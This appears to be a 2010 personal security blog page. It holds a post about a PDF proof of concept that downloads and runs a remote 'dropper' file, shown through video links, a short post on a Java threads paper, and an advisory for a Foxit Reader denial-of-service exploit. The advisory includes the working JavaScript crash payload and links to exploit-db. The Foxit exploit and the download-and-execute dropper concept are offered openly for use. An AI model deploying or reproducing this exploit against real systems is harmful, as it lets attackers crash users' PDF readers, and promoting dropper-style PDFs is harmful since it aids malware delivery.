Monday, April 12, 2010

Pdf Download & Execute

The PoC consists in download a file located in rep http://iamjuza.googlecode.com/files/dropper.txt and execute it.


Pdf Download & Execute from iamjuza on Vimeo.


Pdf Download & Execute 2 from iamjuza on Vimeo.

How to Java Threads

This paper talks about how to do threads in java (the basics, Sharing objects between threads, Thread colaboration).



Download!

Tuesday, April 6, 2010

Foxit Reader <= 3.2.1.0401 Denial Of Service Exploit

Ok, this is my new exploit, i found this one playing with javascript, just take a look!

http://www.exploit-db.com/exploits/12080

--------------------------------------------------------------
Title: Foxit Reader <= 3.2.1.0401 Denial Of Service Exploit
Date: 05/04/10
Author: juza - iamjuza[at]gmail[dot]com
Software Link: http://www.foxitsoftware.com/pdf/reader/
Version: All versions <= 3.2.1.0401 have the same issue
Tested on: Windows XP SP3 x32
Description: Just open the pdf and click in the button!
Greetz: Yux, Wisezilla, GSO, thanks for all!

Code:

function DoS( pdfDate ) {
eval("new Date(" + new Array(Number.NaN,
Number.NaN).toSource().replace(/[\[\]]/g, "") + ")" );
}

DoS("DoS");


-------------------------

PoC: http://www.exploit-db.com/sploits/12080.pdf